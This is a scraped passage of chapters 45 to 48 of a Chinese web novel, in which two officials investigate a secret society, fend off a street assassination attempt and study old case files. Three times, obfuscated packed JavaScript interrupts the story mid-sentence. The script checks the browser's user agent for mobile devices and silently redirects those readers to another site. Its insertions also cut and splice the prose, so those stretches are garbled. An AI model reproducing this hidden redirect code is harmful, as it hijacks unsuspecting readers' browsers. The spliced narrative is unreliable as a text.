江清砚心中一痛。谢云辞说得很平淡,但他能想象,一个十岁的孩子失去母亲,父亲又不在身边,该有多难过。 “后来呢?”他问。 “后来父亲回来了,把我带在身边,”谢云辞看着杯中茶汤,“但他很忙,所以我大部分时间都是自己照顾自己。十五岁那年,他带我去北境,之后就……” 他没有说完,但江清砚知道——之后就是谢家血案,父亲惨死,他独自一人回京,入六扇门,开始追查真相。 “所以你看,”谢云辞转头看他,眼中带着淡淡的笑意,“我们其实很像。都是孤身一人,都背负着血海深仇,都在黑暗中独自走了很久。” 江清砚与他对视,忽然也笑了:“是啊,很像。所以才会相遇吧。” “不是相遇,”谢云辞纠正,“是注定要遇见。” 他的眼神温柔而笃定,江清砚的心跳漏了一拍,移开视线,耳根微热。 阳光正好,岁月静好。 但这份宁静并没有持续太久。 午时刚过,谢府来了客人。 “大人,三皇子来了,说要探望江公子。”亲卫来报时,谢云辞正在给江清砚念书——江清砚说躺着无聊,谢云辞就去书房找了本诗集来念给他听。 谢云辞眉头一皱:“三皇子?他来做什么?” 江清砚也坐直了身体:“赵元案中,三皇子不是也被牵连了吗?” “陛下申斥了他,罚了一年俸禄,”谢云辞放下书,神色凝重,“但他这么快就上门,恐怕不是单纯的探望。” “见见吧,”江清砚道,“避而不见反而显得心虚。” 谢云辞想了想,点头:“也好。你在这里等着,我去应付他。” “不,”江清砚摇头,“既然是来探望我的,自然要见。扶我起来。” 谢云辞拗不过他,只好扶他起身,又仔细检查了他的衣着,确保没有失礼之处,这才扶着他往正厅走。 正厅里,三皇子李琛正负手而立,欣赏着墙上挂着的一幅山水画。他年约二十五六,面容俊朗,穿着宝蓝色锦袍,腰系玉带,气度雍容。听到脚步声,他转过身,脸上露出恰到好处的关切之色。 “谢大人,江公子,”李琛上前两步,“听闻江公子身体不适,本宫特来探望。贸然来访,还请见谅。” “殿下言重了,”谢云辞行礼,“殿下屈尊莅临,是臣的荣幸。” 江清砚也想行礼,被李琛扶住:“江公子有伤在身,不必多礼。快请坐。” 三人分宾主落座。仆人奉上茶点后,谢云辞屏退了左右。 李琛端起茶杯,抿了一口,才缓缓开口:“赵元一案,本宫也有失察之责。若非江公子明察秋毫,揪出真凶,本宫怕是要蒙受不白之冤了。所以今日特来道谢。” 这话说得滴水不漏,既承认了自己的错误,又表达了感谢,还将自己放在了受害者的位置。 江清砚垂眸:“殿下言重了。草民只是自证清白,不敢居功。” “江公子太谦虚了,”李琛笑道,“金殿之上,你舌战群臣,逻辑缜密,胆识过人,连父皇都赞不绝口。如今擢升刑部郎中,实至名归。” 他顿了顿,话锋一转:“不过刑部事务繁杂,江公子身体未愈,恐怕不宜太过操劳。本宫认识几位名医,对心疾调理颇有心得,要不要引荐给江公子?” 谢云辞眼神一凛。这话表面是关心,实则是在打探江清砚的病情,甚至可能想在他身边安插眼线。 “谢殿下好意,”江清砚神色平静,“太医令已经为草民诊治,开了方子,正在调理中。太医令医术精湛,草民不敢再劳烦其他大夫。” 李琛眼中闪过一丝不易察觉的失望,但很快又恢复了笑容:“也是,太医令的医术,自然是信得过的。那本宫就不多此一举了。” 他又闲聊了几句,问了些无关痛痒的问题,比如江清砚的家乡、师承、在京是否习惯等等。江清砚一一作答,态度恭谨却疏离。 大约坐了半柱香时间,李琛起身告辞。 谢云辞送他到门口,李琛忽然停下脚步,低声道:“谢大人,本宫知道你们在查一些……特别的事。若有什么需要帮忙的,尽管开口。本宫虽然不才,但在朝中还有些人脉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863521|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话意味深长。 谢云辞神色不变:“谢殿下。若有需要,臣自当禀报陛下。” 李琛笑了笑,没再说什么,转身上轿离去。 回到正厅,江清砚已经站了起来,脸色有些苍白——刚才强撑了那么久,体力有些透支。 “怎么样?”谢云辞扶住他。 “没事,”江清砚摇头,“三皇子这是……来试探?” “嗯,”谢云辞扶他坐下,“赵元案虽然结了,但他心里肯定不踏实。来探望你是假,打探虚实是真。而且……”他顿了顿,“他可能已经察觉到我们在查‘烛龙之眼’了。” 江清砚蹙眉:“三皇子与‘烛龙之眼’有关?” “不确定,”谢云辞神色凝重,“但赵元案中,他确实有嫌疑。而且他刚才最后那句话,明显是在暗示什么。” 两人对视一眼,都感到一股寒意。 如果连皇子都牵扯其中,那这个组织的势力,恐怕真的深不可测。 “先不管他,”谢云辞扶起江清砚,“你该回去休息了。” 回到西厢房,江清砚确实累了,躺下没多久就睡着了。谢云辞坐在床边,看着他的睡颜,心中思绪万千。 三皇子的出现,让事情变得更加复杂。他们接下来的每一步,都必须更加小心。 接下来的几天,谢府又陆续来了几位客人——有刑部的同僚,有同年进士,甚至还有几位言官。大部分都是真心来探望的,但也不乏像三皇子那样别有用心之人。 谢云辞一一应付,既不失礼数,也不透露任何有用的信息。而江清砚大部分时间都在静养,只有精神好的时候才会见客,而且话很少,基本都是谢云辞在应对。 在谢云辞的精心照料下,江清砚的身体恢复得很快。第七天的时候,他已经能自己下床走动了,虽然还不能久站,但气色好了很多,脸上也恢复了血色。 这天傍晚,两人又在槐树下喝茶。 夕阳西下,天边晚霞如火。江清砚看着远处,忽然道:“我该去刑部报到了。” 谢云辞手中的茶杯一顿:“太医说还要再休养半个月。” “我的身体我自己清楚,”江清砚转头看他,“青木生机已经恢复了七成,心脉也稳固了。继续躺着,反而对身体不好。” 谢云辞看着他坚定的眼神,知道劝不住,只好妥协:“那明天我陪你去。” “不用,”江清砚摇头,“你也有你的事。而且……”他顿了顿,“我们现在的关系,不宜太过密切。至少在明面上。” 谢云辞明白他的意思。他们一个是六扇门指挥使,一个是刑部郎中,如果走得太近,会引起不必要的猜忌。尤其是在“烛龙之眼”可能已经注意到他们的情况下。 “那你自己小心,”谢云辞最终让步,“我会派两个人暗中保护你。” “好。”这次江清砚没有拒绝。 两人又坐了一会儿,直到夜色渐浓。 回房前,江清砚忽然停下脚步,看着谢云辞,轻声道:“这些天……谢谢你。” 谢云辞愣了一下,随即笑了:“你我之间,何必言谢。” “要谢的,”江清砚认真地说,“没有你,我可能……” 他没有说完,但谢云辞懂。 如果没有那日金銮殿上的以命相护,如果没有慈恩寺中的生死与共,如果没有这些天的悉心照料,江清砚确实可能撑不过来。 “那以后,换你照顾我。”谢云辞半开玩笑地说。 “好。”江清砚却答得认真。 谢云辞的心像是被什么击中了,柔软得一塌糊涂。他伸出手,轻轻拂开江清砚额前的碎发,动作温柔得如同对待稀世珍宝。 “早点休息,”他的声音低沉而温柔,“明天我送你出门。” “嗯。” 月光如水,洒满庭院。 两人的身影在月光下渐渐拉长,最终消失在房门后。 夜色深沉,万籁俱寂。 但在这寂静之下,暗流仍在涌动。 刑部,那个掌管天下刑名的地方,又会有什么在等待着江清砚呢? 新的篇章,即将开始。 46. 第 46 章 第四十六章往事伤痕 刑部衙门的青砖灰瓦在晨光中显得肃穆而庄严。 江清砚穿着崭新的五品官服——深青色盘领长袍,胸前绣着白鹇补子,腰系素银带,头戴乌纱。这是他第一次以朝廷命官的身份踏入这里。 引路的书吏是个四十来岁的中年人,姓王,态度恭敬却疏离:“江郎中,这边请。您的值房已经收拾好了,就在周尚书值房的隔壁。” 穿过长长的回廊,两侧的房间里隐约传来翻阅卷宗、低声议论的声音。见到江清砚经过,不少人都投来探究的目光——有好奇,有审视,也有几分不易察觉的敌意。 江清砚目不斜视,步伐平稳,只有握在袖中的手指微微收紧。 王书吏推开一扇门:“就是这里了。您的案牍已经备好,桌上放着刑部的章程和近年积案的目录。若有需要,随时唤下官。” “有劳王书吏。”江清砚颔首。 值房不大,但收拾得很干净。一张紫檀木书案,几把椅子,靠墙是一排书架,上面整齐地码放着卷宗。书案上除了文房四宝,还有一盏灯、一个笔架,以及一本厚厚的《大周律》。 江清砚在书案后坐下,先翻开那本积案目录。目录是按年份排列的,从二十年前到今年,光是近五年的积案就有三百多件,涉及命案、贪污、舞弊、盗窃等等,包罗万象。 他看得很仔细,偶尔会用朱笔在某一行旁做标记。王书吏送茶进来时,看到他专注的侧脸,眼中闪过一丝惊讶——这位年轻的郎中,看起来是真的打算认真做事。 午时刚过,门外传来脚步声,紧接着是周尚书的声音:“江郎中可在?” 江清砚连忙起身行礼:“下官在。” 周文渊走进来,身后还跟着一位年约五十、面容清瘦的官员。周尚书笑道:“不必多礼。来,给你介绍一下,这位是刑部左侍郎,陈文远陈大人。以后你在刑部,陈大人会多关照你。” 陈文远上下打量着江清砚,目光锐利如鹰:“江郎中,久仰大名。金殿之上智破迷案,令人佩服。” “陈大人过奖。”江清砚垂眸。 “既然来了刑部,就要守刑部的规矩,”陈文远语气平淡,“积案复核虽不似缉凶查案那般凶险,却也责任重大。一纸判词,关系人命,务必慎之又慎。” “下官谨记。” 周尚书摆摆手:“陈大人,江郎中有伤在身,今日只是来熟悉环境,不必太严苛。”他又转向江清砚,“你先看着,有什么不懂的,可以问陈大人,也可以直接来找我。” “谢尚书大人。” 两人又交代了几句,便离开了。江清砚重新坐下,继续翻看目录。他发现,这些积案中,有相当一部分都标注着“线索中断”“证人失踪”“证据不足”等字样,明显是查不下去才搁置的。 而其中几件,让他格外在意。 比如七年前江南的一起灭门案,一家十三口惨死,现场留下一个眼睛形状的图腾;比如五年前北境军饷贪污案,涉案军官全部暴毙,死状诡异;再比如三年前京城富商失踪案,最后出现的地点是慈恩寺附近…… 这些案子看似毫无关联,但江清砚敏锐地察觉到,它们都有一个共同点——查着查着,线索就断了,证人不是死了就是失踪了,最后不了了之。 这不像是一般的悬案,更像是……有一只无形的手,在抹去痕迹。 他拿起朱笔,在这几件案子旁做了特殊标记。 就这样,江清砚在刑部的第一天,在翻阅卷宗中平静度过。傍晚散值时,王书吏来问是否需要将卷宗带回府,江清砚摇头:“不必,明日再看。” 走出刑部衙门时,夕阳已经西斜。一辆不起眼的青布马车停在街角,车夫是个沉默寡言的中年人——这是谢云辞安排的。 回到谢府,谢云辞已经等在门口。他穿着家常的深蓝色长衫,头发松散地束在脑后,少了几分平日的凌厉,多了几分温润。 “如何?”他迎上来,很自然地接过江清砚手中的书袋。 “还好,”江清砚边走边说,“周尚书和陈侍郎都见过了。刑部……比我想象的复杂。” 谢云辞领他进屋,桌上已经摆好了饭菜。四菜一汤,都是清淡滋补的。 “陈文远这个人,”谢云辞边给他盛汤边说,“是刑部老人,为人刻板,但还算正直。他是周尚书的左膀右臂,在刑部很有威信。他若为难你,不必硬顶,可以找周尚书。” 江清砚点头,接过汤碗:“我今天看了积案目录,发现一些有意思的案子。” 他将那几件案子简单说了,谢云辞的神色渐渐凝重起来。 “你怀疑这些案子都与‘烛龙之眼’有关?” “不确定,”江清砚用筷子轻轻拨弄着碗里的米饭,“但太巧合了。每件案子都在关键时刻断线,而且手法干净利落,不像一般的凶手或贪官能做到的。” 谢云辞沉思片刻:“明天我让六扇门调这些案子的卷宗来看看。刑部和六扇门的记录可能不一样,对照着看,或许能有新发现。” “好。” 两人安静地吃完饭,谢云辞又煮了茶。月光透过窗棂洒进来,在青石地上投下斑驳的光影。 “对了,”谢云辞忽然想起什么,“你今天在刑部,有没有听到什么……特别的消息?” 江清砚摇头:“没有。大家对我都很客气,但也保持距离。”他顿了顿,“不过……王书吏送茶时,欲言又止,似乎想说什么,但最终没说。” 谢云辞眼神一凛:“王书吏?王诚?” “好像是这个名字。” “他是刑部的老人了,在刑部待了二十年,”谢云辞压低声音,“这个人……不简单。他看似只是个书吏,但刑部大大小小的事,没有他不知道的。而且他从不站队,周尚书和陈侍郎都对他礼让三分。” 江清砚若有所思:“那他今天是想提醒我什么?” “有可能,”谢云辞点头,“明天你找机会,私下问问他。但要注意分寸,这人城府很深。” “我明白。” 夜色渐深,茶也凉了。谢云辞起身:“你累了一天,早点休息。” “等等,”江清砚叫住他,“我……想去书房看看。” 谢云辞一愣:“现在?” “嗯,”江清砚站起来,“有些事,我想弄清楚。” 谢云辞看着他坚定的眼神,知道劝不住,只好点头:“我陪你去。” 谢府的书房在正院东侧,是个独立的小院。推开门,一股书卷混合着墨香的气息扑面而来。书房很大,三面墙都是顶天立地的书架,上面密密麻麻摆满了书籍。中央是一张巨大的紫檀木书案,案上笔墨纸砚齐全,旁边还放着几卷摊开的地图。 江清砚的目光落在书架一角——那里整齐地码放着几十个木匣,每个木匣上都贴着标签,写着“谢氏卷宗”“北境军务”“六扇门密档”等字样。 “那些是……”他看向谢云辞。 “谢家旧案的卷宗,”谢云辞的声音很平静,“还有一些我这些年查到的线索。” 江清砚走过去,轻轻打开一个木匣。里面是一叠泛黄的纸张,最上面是一份血书——字迹潦草,显然是在极其痛苦的情况下写成的: “北境有变,军中混入奸细……谢家军遭伏击……吾儿云辞,速离北境,勿归……父绝笔。” 落款是“谢崇山”,谢云辞的父亲。 江清砚的手指微微颤抖。他继续往下翻,下面是北境驻军的伤亡名单、现场勘查记录、目击者证词……每一份都透着血腥和绝望。 谢家军三千精锐,在北境冰原遭遇埋伏,全军覆没。谢崇山身中十七箭,仍力战至死。事后朝廷派人调查,结论是“遭遇暴风雪,迷失方向,误入敌军埋伏区”。 但谢云辞不信。他在现场找到了不属于敌军的箭矢——那是大周军械司特制的破甲箭;他找到了谢崇山藏在靴筒里的密信,信中提到了“军中奸细”“有人通敌”;他还找到了几个侥幸生还的老兵,他们的证词支离破碎,但都指向一个事实——这是一场精心策划的谋杀。 “我查了十年,”谢云辞的声音在身后响起,平静得可怕,“所有的线索都指向朝中某位权贵,但每次快要查到关键时,证人就会死,线索就会断。就像……有一只看不见的手,在阻止我查下去。” 江清砚放下卷宗,转身看着他。月光从窗外洒进来,照在谢云辞脸上,那张平日里冷硬的脸,此刻竟透着几分脆弱。 “所以你觉得,‘烛龙之眼’可能就是那只手?”江清砚轻声问。 “嗯,”谢云辞走到书案旁,拿起另一份卷宗,“你看这个。” 那是一份关于五十年前江家灭门案的记录——不是官方的,而是谢家私下调查的。上面记载着:江家老宅被焚,全族一百三十七口,只有当时年仅十岁的江清砚因在密室读书而幸免。纵火者身份不明,现场留下了一个眼睛形状的焦痕。 “这个图腾,和我父亲密信上画的,一模一样。”谢云辞指着卷宗上的插图。 江清砚的心脏剧烈跳动起来。他接过卷宗,手指抚过那个熟悉的图腾,脑海中闪过一些破碎的画面——冲天的大火,母亲含泪将他推进密室,黑衣人在火光中穿梭,他们的面具上……似乎就有这个图案。 “我……好像记得……”他的声音有些颤抖。 “记得什么?”谢云辞握住他的手。 江清砚闭上眼睛,努力回忆。那些被刻意封存的记忆,如同潮水般涌来—— 密室的通风口很小,他透过缝隙,看到外面火光冲天。一个黑衣人站在院中,指挥着其他人搜查。那人转过身时,脸上的面具在火光中反射出诡异的光,面具的额头处,有一个眼睛形状的凸起…… “他们……在找东西,”江清砚喃喃道,“我听到他们说……‘钥匙必须找到’‘江家秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来江谢两家守护的“烛龙眠息之地”,就在北境死亡峡谷。而打开那个地方的“钥匙”,就是江家的青木玉佩和谢家的玄铁兵符。 “所以‘烛龙之眼’灭江家、杀谢家,是为了夺取这两把钥匙,”江清砚的声音发冷,“但他们没有得逞。玉佩在我这里,兵符失踪了。” “兵符可能还在北境,”谢云辞眼中燃起火焰,“我父亲可能把它藏在了某个地方。” “那我们——” “必须去北境,”谢云辞打断他,“但不是现在。你的身体还没完全好,而且……”他顿了顿,“我们必须先弄清楚,‘烛龙之眼’在朝中到底渗透到了什么程度。否则就算我们找到了兵符,拿到了钥匙,也会被他们螳螂捕蝉,黄雀在后。” 江清砚明白他的顾虑。对手在暗,他们在明,贸然行动只会自投罗网。 “那接下来怎么做?”他问。 “继续查,”谢云辞将玉佩和绢帛小心收好,“你在刑部查那些积案,我在六扇门查‘烛龙之眼’的踪迹。同时……我们要找到那块兵符的下落。” “怎么找?” 谢云辞走到书架前,取下一卷地图摊开:“这是我根据记忆画的北境地图。死亡峡谷在这里,”他指着一处,“而谢家军的驻地在这里,相距三百里。我父亲如果要把兵符藏起来,最可能藏在这两个地方之间。” 他的手指在地图上移动,最终停在一处:“这里——‘鹰嘴崖’。我父亲曾在那里驻守过三年,对那里很熟悉。而且那里地势险要,易守难攻,是个藏东西的好地方。” 江清砚看着地图上那个小小的标记,忽然道:“我想跟你一起去。” “不行,”谢云辞立刻拒绝,“北境苦寒,你的身体受不了。而且这一路凶险,我不能让你冒险。” “正因为凶险,我才要跟你一起去,”江清砚看着他,眼神坚定,“‘共生之契’让我们同生共死,你若有事,我也活不了。既然如此,不如一起面对。” 谢云辞张了张嘴,想反驳,却找不到理由。江清砚说得对,他们现在是一体的,分开反而更危险。 “而且,”江清砚补充道,“我对医术毒术的了解,或许能在关键时刻帮到你。” 谢云辞沉默良久,最终长长地叹了口气:“等你的身体完全好了再说。” 这算是……妥协了。 江清砚的嘴角微微扬起:“好。” 夜深了。 两人将卷宗重新收好,离开书房。月光如水,洒满庭院。走到西厢房门口时,谢云辞忽然停下脚步。 “清砚。” “嗯?” “谢谢你。”谢云辞的声音很轻,却很认真,“谢谢你愿意和我一起……面对这些。” 江清砚看着他,月光在他眼中映出温柔的光:“该说谢谢的是我。谢谢你……让我不再是孤身一人。” 两人对视,千言万语,尽在不言中。 风起,院中槐树的叶子沙沙作响。 前路漫漫,凶险未知。 但至少此刻,他们并肩而立,不再孤单。 47. 第 47 章 第四十七章状元游街 九月十五,秋高气爽,是钦定新科进士“游街夸官”的日子。 卯时初,天刚蒙蒙亮,京城御街两侧就已挤满了看热闹的百姓。孩童骑在父亲肩头,姑娘们挤在二楼茶座的窗边,小贩们提着篮子叫卖瓜子糖果,整条街洋溢着节日般的喜庆。 “听说今年的状元郎可不得了,金殿上舌战群臣,硬是把舞弊案给翻过来了!” “可不是嘛,还差点被刺杀,是谢指挥使替他挡的刀!” “这叫‘同命双星’,陛下亲口夸的!” 议论声此起彼伏,所有人都在期待着那位传奇状元的出现。 谢府西厢房内,江清砚正对镜整理衣冠。今日他必须穿全套的状元服——大红色锦袍,胸前绣着仙鹤补子,头戴乌纱帽,帽侧插着金花。这身装扮华贵庄重,却让他有些不自在。 “好了吗?”谢云辞推门进来,也穿着一身正式的飞鱼服,腰佩绣春刀。他上下打量着江清砚,眼中闪过毫不掩饰的惊艳,“很好看。” 江清砚耳根微热:“太过招摇了。” “今日就该招摇,”谢云辞走到他身后,伸手帮他正了正帽簪,“让天下人都看看,今年的状元郎是何等风采。” 他的动作自然亲昵,指尖不经意拂过江清砚的后颈,带来一阵微妙的战栗。江清砚垂下眼帘,没有躲开。 “时辰差不多了,”谢云辞退开一步,“我送你到御街口。按照规矩,我不能陪你游街,但我会在街边的茶楼看着。” “嗯。” 两人一前一后走出谢府,门外早已备好了两顶轿子。江清砚上了状元专用的八抬大轿,谢云辞则上了自己的青呢小轿。 轿子穿过清晨的街巷,朝着御街方向行进。江清砚坐在轿中,闭目养神,却无法平息心中的波澜。短短几个月,他从一个寒门学子,到蒙冤入狱,再到金殿昭雪,如今竟要作为状元游街……这一切,如梦似幻。 轿子停下时,外面传来礼部官员的声音:“江状元,请下轿。” 江清砚深吸一口气,掀帘而出。 御街口,另外两位新科进士——榜眼和探花已经等在那里。榜眼是个三十出头的儒雅书生,探花则是个二十来岁的俊朗青年。见到江清砚,两人都拱手行礼,神色恭敬中带着几分复杂——羡慕?敬佩?还是别的什么? “江状元。”礼部侍郎亲自迎上来,“吉时已到,请上马。” 一匹通体雪白、配着金鞍的高头大马被牵过来。江清砚翻身上马,动作不算娴熟,但也不失风度。礼部侍郎又递过一柄金丝缠绕的马鞭,低声道:“按规矩,状元需执鞭策马,缓行御街,接受百姓瞻仰。到了午门,下马叩谢皇恩,仪式就算完成了。” “下官明白。”江清砚点头。 “那……开始吧。” 鼓乐声起。礼部的仪仗队在前开路,江清砚骑着白马走在最前面,榜眼和探花紧随其后。再后面是三百新科进士的队伍,浩浩荡荡,绵延半里。 当江清砚的身影出现在御街尽头时,整条街瞬间沸腾了。 “来了来了!” “那就是江状元?好俊的郎君!” “看他那气度,难怪陛下器重!” 欢呼声、赞叹声、甚至还有姑娘们抛来的香囊手帕,如雨点般落下。江清砚目不斜视,腰背挺直,一手执缰,一手执鞭,按照礼仪缓缓前行。阳光洒在他身上,大红锦袍熠熠生辉,帽侧金花闪烁着耀眼的光芒。 这一刻,他确实是整个京城最耀眼的存在。 街边茶楼二层的雅间里,谢云辞凭窗而立,目光紧紧追随着那个红色的身影。他身后站着两个亲卫,都是便装打扮。 “大人,街面已安排好了人手,确保安全。”一个亲卫低声道。 “嗯。”谢云辞应了一声,目光却未离开江清砚。 他看到江清砚在马上挺直的脊背,看到他平静如水的侧脸,也看到他握着缰绳的手指微微收紧——那是紧张的表现。这个看似从容的人,其实并不习惯这样的场合。 谢云辞的嘴角不自觉扬起。他忽然想起几个月前,在破庙初遇时,江清砚还是个一身青衫、温润如玉的书生。如今,他已经穿上状元袍,成为天下士子的楷模。 变化真大。 但有些东西没变——那双清澈的眼睛,那份沉静的气质,还有……骨子里的坚韧。 队伍缓缓前行,已经到了御街中段。这里人最多,欢呼声也最热烈。江清砚不得不放慢速度,几乎是在人群的簇拥下前进。 就在这时,异变突生! 人群边缘,一个卖糖葫芦的小贩突然掀翻了摊子,从糖葫芦架下抽出一把弩箭,对准江清砚就射! “小心!”谢云辞瞳孔骤缩,几乎要纵身跳下茶楼。 但江清砚的反应更快。 他仿佛早有预感,在马背上微微侧身,弩箭擦着他的肩膀飞过,“夺”的一声钉在身后榜眼马鞍旁的木板上。榜眼吓得脸色煞白,差点从马上摔下来。 “有刺客!” “保护状元!” 人群顿时大乱。礼部官员惊慌失措,侍卫们拔刀冲过来,但街上人太多,一时间竟挤不进去。 那小贩见一击不中,扔下弩箭就想逃。但江清砚的动作比他更快——他手中马鞭如灵蛇般甩出,精准地卷住小贩的脚踝,用力一拉! “噗通”一声,小贩摔倒在地,被赶来的侍卫按住了。 这一切发生在电光石火之间。等众人反应过来时,刺客已经被制服,江清砚依旧端坐马上,神色平静,只是握着马鞭的手指骨节有些发白。 谢云辞在茶楼上,心脏狂跳,手心全是冷汗。他死死盯着江清砚,确认他没有受伤,才稍微松了口气。 “大人,要不要……”亲卫请示。 “不必,”谢云辞摆摆手,眼神冷了下来,“按计划行事。” 街道上,骚乱很快被控制住。礼部侍郎擦着汗跑过来:“江状元,您没事吧?要不今日先……” “继续。”江清砚打断他,声音不大,却带着不容置疑的坚定。 礼部侍郎愣了愣,看着江清砚平静的眼神,忽然明白了什么,重重点头:“继续!” 鼓乐重新响起,队伍继续前行。百姓们先是一愣,随即爆发出更热烈的欢呼——这位状元郎不仅才华横溢,胆识也非同一般! 接下来的路程再无异状。队伍顺利抵达午门,江清砚下马,对着宫城方向三叩九拜,完成了谢恩仪式。 礼成时,已是巳时三刻。 江清砚被礼部官员引到一旁休息,谢云辞也匆匆赶了过来。 “你怎么样?”谢云辞上下打量他,确认没有受伤。 “没事,”江清砚摇头,压低声音,“刺客是冲着我来的,还是……” “冲着你,”谢云辞眼神冰冷,“但目标可能不是杀你。” 江清砚一怔。 “刚才那个刺客,在被押走前,咬破了藏在牙里的毒囊,死了,”谢云辞的声音很轻,只有两人能听见,“死前他喊了一句‘眼睛永存’。是‘烛龙之眼’的人。” 江清砚的心沉了下去。 “他们想干什么?当街刺杀状元,只会让朝廷更加警惕。” “也许这就是他们的目的,”谢云辞分析道,“制造混乱,试探朝廷的反应,也试探……你的反应。” 两人对视一眼,都明白了对方的意思。 “烛龙之眼”在向江清砚示威,也在向朝廷示威。他们在告诉所有人:我们无处不在,我们敢在御街动手。 “陛下已经知道了,”谢云辞继续说,“命我彻查。但那个刺客身上没有任何能证明身份的东西,是个‘干净’的死士。” 干净,意味着查无可查。 “先回府吧,”谢云辞环视四周,“这里人多眼杂。” 两人上了轿子,一前一后回到谢府。 刚进书房,谢云辞就屏退了左右,从怀中取出一张纸条:“这是刚才在茶楼,有人塞给我的。” 江清砚接过纸条,上面只有一行字:“欲知兵符下落,三日后子时,城西土地庙。” 字迹潦草,用的是最普通的宣纸和墨,看不出任何特征。 “你怎么看?”江清砚问。 “可能是陷阱,”谢云辞神色凝重,“也可能是……有人想借我们的手,对付‘烛龙之眼’。” “去吗?” “去,”谢云辞眼神锐利,“但要做好万全准备。” 江清砚点头,将纸条放在烛火上烧掉。纸灰飘落,如同某种不祥的预兆。 “对了,”谢云辞忽然想起什么,“游街时,我看到陈文远也在街边。” “陈侍郎?”江清砚蹙眉,“他怎么会……” “他站在一家绸缎庄门口,看似在看热闹,但目光一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863523|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直在你身上,”谢云辞回忆着,“而且他的表情……很微妙,像是期待什么,又像是担心什么。” 江清砚若有所思。陈文远是刑部左侍郎,周尚书的得力助手。如果他真与“烛龙之眼”有关,那刑部内部…… “明天我去刑部,试探他一下。”江清砚道。 “小心,”谢云辞叮嘱,“陈文远是老狐狸,别让他察觉。” “我知道。” 两人又商量了一些细节,直到午时过了,仆人来请用膳。 饭桌上,气氛有些沉闷。虽然今日游街圆满结束,还抓到了一个刺客,但背后的阴影却让两人都轻松不起来。 “其实今日,你做得很好,”谢云辞忽然开口,打破了沉默,“临危不乱,反应迅速。陛下若是知道,定会更欣赏你。” 江清砚摇摇头:“我只是……本能反应。”他顿了顿,“在密室那三年,我每天都要面对各种机关和毒物,稍有不慎就会死。久而久之,就练出了这种本能。” 他说得很平淡,谢云辞的心却揪了起来。三年,一个人在黑暗的密室里,与死亡为伴……那是怎样的日子? “都过去了,”谢云辞握住他的手,“以后,你有我。” 江清砚看着他眼中毫不掩饰的疼惜,心中一暖,轻轻回握:“嗯。” 午后,刑部派人送来了贺礼——一方上好的端砚,还有周尚书亲笔写的一幅字:“清正明鉴”。这显然是陛下赐匾后,周尚书的心意。 “周尚书对你,倒是真心栽培。”谢云辞看着那幅字道。 “所以我更不能让他失望。”江清砚小心地将字收好。 接下来的半天,江清砚都在书房看书。谢云辞则去了一趟六扇门,处理刺客案的后续。 傍晚时分,谢云辞带回一个消息。 “那个刺客的身份查到了,”他将一份卷宗放在桌上,“不是京城人,来自江南。三年前来京,一直在街头做小买卖,平日沉默寡言,邻居都说他老实本分。” “伪装得很好。”江清砚翻看卷宗。 “但我在他住处,发现了这个。”谢云辞取出一枚铜钱,放在桌上。 铜钱很普通,是大周通用的“通宝”。但江清砚拿起来仔细看,发现铜钱的边缘有一道极细微的刻痕,刻的是一个简化版的眼睛图腾。 “又是这个图案……”江清砚喃喃道。 “我查了近年来的刺客案、谋杀案、失踪案,”谢云辞的声音低沉,“凡是涉及这个图案的案子,最后都成了悬案。‘烛龙之眼’的渗透,比我们想象的更深。” 两人沉默着,书房内的烛火跳动,在墙上投下摇曳的影子。 “三日后的土地庙,一定要去,”江清砚忽然道,“不管是不是陷阱,这都是一个机会。” “嗯,”谢云辞点头,“我已经安排好了人手。到时候你……” “我跟你一起去,”江清砚打断他,“你说过,我们要一起面对。” 谢云辞看着他坚定的眼神,最终妥协:“好。但你必须在安全的地方,不能露面。” “成交。” 夜色渐深,窗外传来打更的声音。 江清砚走到窗边,看着夜空中的星辰。今日的荣耀,明日的凶险,一切都如同这夜空,看似平静,实则暗流汹涌。 “在想什么?”谢云辞走到他身边。 “在想……这条路,我们到底能不能走通。”江清砚轻声道。 谢云辞也望向夜空,声音坚定而沉稳:“一定能。因为这条路,不止我们两个人在走。” 江清砚转头看他。 “周尚书在暗中支持我们,陛下在默许我们,还有那些被‘烛龙之眼’害过的人,他们的冤魂也在看着我们,”谢云辞的眼神在夜色中熠熠生辉,“所以我们不是孤军奋战。只要我们不放弃,总有一天,能拨云见日。” 江清砚看着他的侧脸,心中忽然涌起一股力量。 是啊,他们不是孤军奋战。 这条路再难,也要走下去。 为了父母,为了谢家,也为了那些枉死的冤魂。 “三日后,”江清砚轻声说,“我们一起去。” “嗯,一起去。” 夜风吹过,带来秋日的凉意。 但两人并肩而立,心中却温暖如春。 前路漫漫,凶险未知。 但只要在一起,就有无尽的勇气。 48. 第 48 章 第四十八章刑部新人 九月十六,清晨微雨。 江清砚撑着油纸伞走进刑部衙门时,身上还带着秋雨的湿气。门房的小吏殷勤地接过伞,又递来干净的布巾:“江郎中早,您看这雨下的,快擦擦。” “有劳。”江清砚颔首,接过布巾擦了擦袖口的水渍。他今日穿了一身靛青色的官服,比起昨日的状元袍,朴素了许多,却更显清隽。 